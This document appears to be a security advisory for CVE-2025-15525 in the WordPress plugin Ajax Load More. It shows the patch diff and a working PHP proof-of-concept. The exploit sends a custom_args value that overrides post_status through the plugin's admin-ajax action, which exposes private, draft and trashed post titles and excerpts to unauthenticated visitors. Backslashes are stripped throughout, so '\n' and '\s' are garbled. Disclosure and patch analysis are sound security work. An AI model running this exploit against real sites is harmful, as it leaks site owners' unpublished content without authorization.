CVE-2025-15525: Ajax Load More – Infinite Scroll, Lazy Load & Load More <= 7.8.1 – Incorrect Authorization to Unauthenticated Private/Draft Post Title and Excerpt Exposure (ajax-load-more)

--- a/ajax-load-more/ajax-load-more.php
+++ b/ajax-load-more/ajax-load-more.php
@@ -7,15 +7,15 @@
  * Author: Darren Cooney
  * Twitter: @KaptonKaos
  * Author URI: https://connekthq.com
- * Version: 7.8.1
+ * Version: 7.8.2
  * License: GPL
  * Copyright: Darren Cooney & Connekt Media
  *
  * @package AjaxLoadMore
  */

-define( 'ALM_VERSION', '7.8.1' );
-define( 'ALM_RELEASE', 'January 9, 2026' );
+define( 'ALM_VERSION', '7.8.2' );
+define( 'ALM_RELEASE', 'January 28, 2026' );
 define( 'ALM_STORE_URL', 'https://connekthq.com' );

 require_once plugin_dir_path( __FILE__ ) . 'core/functions/install.php';
--- a/ajax-load-more/core/classes/class-alm-queryargs.php
+++ b/ajax-load-more/core/classes/class-alm-queryargs.php
@@ -489,7 +489,6 @@
 			return $args;
 		}

-
 		/**
 		 * Parse `custom_args` string parameter into array.
 		 *
@@ -498,21 +497,27 @@
 		 * @return array         The modified arguments.
 		 */
 		public static function parse_custom_args( $args, $param ) {
-			$array = explode( ';', $param ); // Split the $param at `;`.
+			$array = explode( ';', $param );
+
+			// Exclude certain keys from being added via custom_args.
+			$exlude_keys = [ 'post_status', 'perm', 'post_password', 'post__in', 'meta_query', 'tax_query', 'date_query', 'alm_vars' ];

 			// Loop each $argument.
 			foreach ( $array as $arg ) {
-				$arg     = preg_replace( '/s+/', '', $arg ); // Remove all whitespace.
-				$arg     = explode( ':', $arg );  // Split at each colon.
-				$arg_arr = explode( ',', $arg[1] );  // Split at each comma.
-				if ( count( $arg_arr ) > 1 ) {
-					$args[ $arg[0] ] = $arg_arr;
+				$arg   = explode( ':', preg_replace( '/s+/', '', $arg ) );  // Split at each colon & remove whitespace.
+				$value = explode( ',', $arg[1] );  // Split at each comma.
+
+				if ( in_array( $arg[0], $exlude_keys, true ) ) {
+					continue; // Skip excluded keys.
+				}
+
+				if ( count( $value ) > 1 ) {
+					$args[ $arg[0] ] = $value;
 				} else {
 					$args[ $arg[0] ] = $arg[1];
 				}
 			}

-			// Return parsed $args.
 			return $args;
 		}
 	}

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15525 - Ajax Load More <= 7.8.1 - Incorrect Authorization to Unauthenticated Private/Draft Post Title and Excerpt Exposure

<?php
// Configure the target WordPress site URL
$target_url = 'http://vulnerable-wordpress-site.com';

// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare the malicious payload.
// The 'custom_args' parameter injects the 'post_status' key with values that bypass default restrictions.
$post_data = [
    'action' => 'alm_get_posts',           // The plugin's AJAX action hook
    'custom_args' => 'post_status:any,private,draft,pending,future,trash', // Override query status
    'query_type' => 'standard',            // Standard query type
    'posts_per_page' => '5',               // Limit results for testing
    'nonce' => ''                          // Nonce is often not required for this action
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing environments
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the results
echo "Target: $target_urln";
echo "HTTP Status: $http_coden";
if ($response) {
    $data = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE && isset($data['html'])) {
        echo "n[SUCCESS] Potential data leakage detected.n";
        echo "Response contains HTML data block.n";
        // The 'html' field contains the rendered post titles/excerpts.
        // For a cleaner demo, you could parse the HTML for post titles.
        echo "Sample output length: " . strlen($data['html']) . " characters.n";
    } else {
        echo "n[INFO] Raw response:n$responsen";
    }
} else {
    echo "n[ERROR] No response received.n";
}
?>